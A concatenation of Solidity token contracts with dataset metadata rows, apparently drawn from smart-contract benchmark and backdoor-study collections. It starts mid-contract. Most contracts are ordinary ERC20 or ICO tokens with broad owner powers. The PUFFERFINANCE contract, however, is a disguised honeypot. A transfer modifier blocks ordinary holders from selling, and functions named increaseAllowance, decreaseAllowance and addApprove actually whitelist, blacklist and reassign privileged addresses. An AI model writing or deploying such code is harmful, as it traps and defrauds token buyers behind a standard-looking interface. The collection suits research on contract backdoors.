uint256 b = IERC20(_token).balanceOf(address(this));
IERC20(_token).transfer(dev,b);
}
function getCurrentTimestamp() view external returns(uint256){
return block.timestamp;
}
}
| 328,969 | 14,004 |
396ca052886774d0c9446d41e473bd2f0bedd45cba201932b293ce5355103c43
| 14,223 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x47de248fdfa35c3911049cc0ad8777fa24d60e6b.sol
| 3,609 | 13,750 |
pragma solidity 0.5.11;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: the caller must be owner");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 internal _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(value, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(value, "ERC20: burn amount exceeds total supply");
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract Pausable is Ownable {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
function pause() public onlyOwner whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyOwner whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
contract ERC20Burnable is ERC20 {
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
contract ERC20Pausable is ERC20Burnable, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool) {
return super.decreaseAllowance(spender, subtractedValue);
}
function burn(uint256 amount) public whenNotPaused {
super.burn(amount);
}
function burnFrom(address account, uint256 amount) public whenNotPaused {
super.burnFrom(account, amount);
}
}
contract BITSGToken is ERC20Pausable {
string public constant name = "BitSG Token";
string public constant symbol = "BITSG";
uint8 public constant decimals = 8;
uint256 internal constant INIT_TOTALSUPPLY = 1200000000;
mapping(address => uint256) public lockedAmount;
mapping (address => LockItem[]) public lockInfo;
uint256 private constant DAY_TIMES = 24 * 60 * 60;
event SendAndLockToken(address indexed beneficiary, uint256 lockAmount, uint256 lockTime);
event ReleaseToken(address indexed beneficiary, uint256 releaseAmount);
event LockToken(address indexed targetAddr, uint256 lockAmount);
event UnlockToken(address indexed targetAddr, uint256 releaseAmount);
struct LockItem {
address lock_address;
uint256 lock_amount;
uint256 lock_time;
uint256 lock_startTime;
}
constructor() public {
_totalSupply = formatDecimals(INIT_TOTALSUPPLY);
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function sendAndLockToken(address beneficiary, uint256 lockAmount, uint256 lockDays) public onlyOwner {
require(beneficiary != address(0), "BITSGToken: beneficiary is the zero address");
require(lockAmount > 0, "BITSGToken: the amount of lock is 0");
require(lockDays > 0, "BITSGToken: the days of lock is 0");
uint256 _lockAmount = formatDecimals(lockAmount);
uint256 _lockTime = lockDays.mul(DAY_TIMES);
lockInfo[beneficiary].push(LockItem(beneficiary, _lockAmount, _lockTime, now));
emit SendAndLockToken(beneficiary, _lockAmount, _lockTime);
_balances[owner] = _balances[owner].sub(_lockAmount, "BITSGToken: owner doesn't have enough tokens");
emit Transfer(owner, address(0), _lockAmount);
}
function releaseToken(address beneficiary) public returns (bool) {
uint256 amount = getReleasableAmount(beneficiary);
require(amount > 0, "BITSGToken: no releasable tokens");
for(uint256 i; i < lockInfo[beneficiary].length; i++) {
uint256 lockedTime = (now.sub(lockInfo[beneficiary][i].lock_startTime));
if (lockedTime >= lockInfo[beneficiary][i].lock_time) {
delete lockInfo[beneficiary][i];
}
}
_balances[beneficiary] = _balances[beneficiary].add(amount);
emit Transfer(address(0), beneficiary, amount);
emit ReleaseToken(beneficiary, amount);
return true;
}
function getReleasableAmount(address beneficiary) public view returns (uint256) {
require(lockInfo[beneficiary].length != 0, "BITSGToken: the address has not lock items");
uint num = 0;
for(uint256 i; i < lockInfo[beneficiary].length; i++) {
uint256 lockedTime = (now.sub(lockInfo[beneficiary][i].lock_startTime));
if (lockedTime >= lockInfo[beneficiary][i].lock_time) {
num = num.add(lockInfo[beneficiary][i].lock_amount);
}
}
return num;
}
function lockToken(address targetAddr, uint256 lockAmount) public onlyOwner {
require(targetAddr != address(0), "BITSGToken: target address is the zero address");
require(lockAmount > 0, "BITSGToken: the amount of lock is 0");
uint256 _lockAmount = formatDecimals(lockAmount);
lockedAmount[targetAddr] = lockedAmount[targetAddr].add(_lockAmount);
emit LockToken(targetAddr, _lockAmount);
}
function unlockToken(address targetAddr, uint256 lockAmount) public onlyOwner {
require(targetAddr != address(0), "BITSGToken: target address is the zero address");
require(lockAmount > 0, "BITSGToken: the amount of lock is 0");
uint256 _lockAmount = formatDecimals(lockAmount);
if(_lockAmount >= lockedAmount[targetAddr]) {
lockedAmount[targetAddr] = 0;
} else {
lockedAmount[targetAddr] = lockedAmount[targetAddr].sub(_lockAmount);
}
emit UnlockToken(targetAddr, _lockAmount);
}
function transfer(address recipient, uint256 amount) public returns (bool) {
require(_balances[msg.sender].sub(lockedAmount[msg.sender]) >= amount, "BITSGToken: transfer amount exceeds the vailable balance of msg.sender");
return super.transfer(recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
require(_balances[sender].sub(lockedAmount[sender]) >= amount, "BITSGToken: transfer amount exceeds the vailable balance of sender");
return super.transferFrom(sender, recipient, amount);
}
function burn(uint256 amount) public {
require(_balances[msg.sender].sub(lockedAmount[msg.sender]) >= amount, "BITSGToken: destroy amount exceeds the vailable balance of msg.sender");
super.burn(amount);
}
function burnFrom(address account, uint256 amount) public {
require(_balances[account].sub(lockedAmount[account]) >= amount, "BITSGToken: destroy amount exceeds the vailable balance of account");
super.burnFrom(account, amount);
}
function batchTransfer(address[] memory addrs, uint256[] memory amounts) public onlyOwner returns(bool) {
require(addrs.length == amounts.length, "BITSGToken: the length of the two arrays is inconsistent");
require(addrs.length <= 150, "BITSGToken: the number of destination addresses cannot exceed 150");
for(uint256 i = 0;i < addrs.length;i++) {
require(addrs[i] != address(0), "BITSGToken: target address is the zero address");
require(amounts[i] != 0, "BITSGToken: the number of transfers is 0");
transfer(addrs[i], formatDecimals(amounts[i]));
}
return true;
}
function formatDecimals(uint256 value) internal pure returns (uint256) {
return value.mul(10 ** uint256(decimals));
}
}
| 166,431 | 14,005 |
87765818e8486f4c19177f1f98f25fb6304a0f87790893aa5c4003a59fd1242d
| 22,674 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x6874e50e8e81eb097591411483a39f4ed6876f2a.sol
| 3,412 | 14,985 |
pragma solidity 0.4.25;
//
//------------------------ SafeMath Library -------------------------//
//
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
//
//------------------ Contract to Manage Ownership -------------------//
//
contract owned {
address public owner;
constructor () public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
//
//------------------ ERC20 Standard Template -------------------//
//
contract TokenERC20 {
// Public variables of the token
using SafeMath for uint256;
string public name;
string public symbol;
uint256 public decimals = 8;
uint256 public totalSupply;
uint256 public reservedForICO;
bool public safeguard = false; //putting safeguard on will halt all non-owner functions
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
constructor (uint256 initialSupply,
uint256 allocatedForICO,
string tokenName,
string tokenSymbol) public {
totalSupply = initialSupply * (1e8); // Update total supply with the decimal amount
reservedForICO = allocatedForICO * (1e8); // Tokens reserved For ICO
balanceOf[this] = reservedForICO; // 60 Billion Tokens will remain in the contract
balanceOf[msg.sender] = totalSupply - reservedForICO; // Rest of tokens will be sent to owner
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
function _transfer(address _from, address _to, uint _value) internal {
require(!safeguard);
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to].add(_value) > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
// Subtract from the sender
balanceOf[_from] = balanceOf[_from].sub(_value);
// Add the same to the recipient
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(!safeguard);
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
require(!safeguard);
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
require(!safeguard);
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(!safeguard);
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(!safeguard);
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
//
//--------------------- KEWDEX MAIN CODE STARTS HERE --------------------//
//
contract KewDex is owned, TokenERC20 {
bool public whitelistingStatus = false;
mapping (address => bool) public whitelisted;
function changeWhitelistingStatus() onlyOwner public{
if (whitelistingStatus == false){
whitelistingStatus = true;
}
else{
whitelistingStatus = false;
}
}
function whitelistUser(address userAddress) onlyOwner public{
require(whitelistingStatus == true);
require(userAddress != 0x0);
whitelisted[userAddress] = true;
}
function whitelistManyUsers(address[] userAddresses) onlyOwner public{
require(whitelistingStatus == true);
uint256 addressCount = userAddresses.length;
require(addressCount <= 150);
for(uint256 i = 0; i < addressCount; i++){
require(userAddresses[i] != 0x0);
whitelisted[userAddresses[i]] = true;
}
}
string private tokenName = "KewDex";
string private tokenSymbol = "KEW";
uint256 private initialSupply = 75000000000; // 75 Billion
uint256 private allocatedForICO = 60000000000; // 60 Billion
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
constructor () TokenERC20(initialSupply, allocatedForICO, tokenName, tokenSymbol) public {}
function _transfer(address _from, address _to, uint _value) internal {
require(!safeguard);
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] = balanceOf[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
//public variables for the Crowdsale
uint256 public icoStartDate = 123 ; // ICO start timestamp will be updated by owner after contract deployment
uint256 public icoEndDate = 999999999999; // ICO end timestamp will be updated by owner after contract deployment
uint256 public exchangeRate = 45000000; // 1 ETH = 45 Million Tokens
uint256 public tokensSold = 0; // How many tokens sold through crowdsale
uint256 public purchaseBonus = 66; // Purchase Bonus purcentage - 66%
//@dev fallback function, only accepts ether if pre-sale or ICO is running or Reject
function () payable external {
require(!safeguard);
require(!frozenAccount[msg.sender]);
if(whitelistingStatus == true) { require(whitelisted[msg.sender]); }
require(icoStartDate < now && icoEndDate > now);
// calculate token amount to be sent
uint256 token = msg.value.mul(exchangeRate).div(1e10); //weiamount * exchangeRate
uint256 finalTokens = token.add(calculatePurchaseBonus(token)); //add bonus if available
tokensSold = tokensSold.add(finalTokens);
_transfer(this, msg.sender, finalTokens); //makes the transfers
}
//calculating purchase bonus
//SafeMath library is not used here at some places intentionally, as overflow is impossible here
//And thus it saves gas cost if we avoid using SafeMath in such cases
function calculatePurchaseBonus(uint256 token) internal view returns(uint256){
if(purchaseBonus > 0){
return token.mul(purchaseBonus).div(100); //66% bonus
}
else{
return 0;
}
}
//Function to update an ICO parameter.
//It requires: timestamp of start and end date, exchange rate (1 ETH = ? Tokens)
//Owner need to make sure the contract has enough tokens for ICO.
//If not enough, then he needs to transfer some tokens into contract addresss from his wallet
//If there are no tokens in smart contract address, then ICO will not work.
function updateCrowdsale(uint256 icoStartDateNew, uint256 icoEndDateNew, uint256 exchangeRateNew) onlyOwner public {
require(icoStartDateNew < icoEndDateNew);
icoStartDate = icoStartDateNew;
icoEndDate = icoEndDateNew;
exchangeRate = exchangeRateNew;
}
//Stops an ICO.
//It will just set the ICO end date to zero and thus it will stop an ICO
function stopICO() onlyOwner public{
icoEndDate = 0;
}
//function to check wheter ICO is running or not.
//It will return current state of the crowdsale
function icoStatus() public view returns(string){
if(icoStartDate < now && icoEndDate > now){
return "ICO is running";
}else if(icoStartDate > now){
return "ICO has not started yet";
}else{
return "ICO is over";
}
}
//Function to set ICO Exchange rate.
//1 ETH = How many Tokens ?
function setICOExchangeRate(uint256 newExchangeRate) onlyOwner public {
exchangeRate=newExchangeRate;
}
//Function to update ICO Purchase Bonus.
//Enter percentage of the bonus. eg, 66 for 66% bonus
function updatePurchaseBonus(uint256 newPurchaseBonus) onlyOwner public {
purchaseBonus=newPurchaseBonus;
}
//Just in case, owner wants to transfer Tokens from contract to owner address
function manualWithdrawToken(uint256 _amount) onlyOwner public {
uint256 tokenAmount = _amount * (1e8);
_transfer(this, msg.sender, tokenAmount);
}
//When owner wants to transfer Ether from contract to owner address
//ICO must be over in order to do the ether transfer
//Entire Ether balance will be transfered to owner address
function manualWithdrawEther() onlyOwner public{
require(icoEndDate < now, 'ICO is not over!');
address(owner).transfer(address(this).balance);
}
//selfdestruct function. just in case owner decided to destruct this contract.
function destructContract() onlyOwner public{
selfdestruct(owner);
}
function changeSafeguardStatus() onlyOwner public{
if (safeguard == false){
safeguard = true;
}
else{
safeguard = false;
}
}
function airdrop(address[] recipients,uint tokenAmount) public onlyOwner {
uint256 addressCount = recipients.length;
require(addressCount <= 150);
for(uint i = 0; i < addressCount; i++)
{
//This will loop through all the recipients and send them the specified tokens
_transfer(this, recipients[i], tokenAmount * (1e8));
}
}
}
| 147,944 | 14,006 |
4e6eb0258c2f4ea9c4c074b819a2f737dd230d8c518ec37757f2c1d5c202319b
| 29,577 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xFc8e10dD208e4E3F4d7c79e731Fb3E69D6273Ed1/contract.sol
| 3,394 | 12,618 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract PUFFERFINANCE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 250,807 | 14,007 |
4bb358b9743cddb0f24f62f4a1418f771dc8d6a6086f6552d309229ee4157e2a
| 18,083 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/31/31d8FA259B21AC8b554751668bbBc252490c879C_Distributor.sol
| 3,975 | 15,701 |
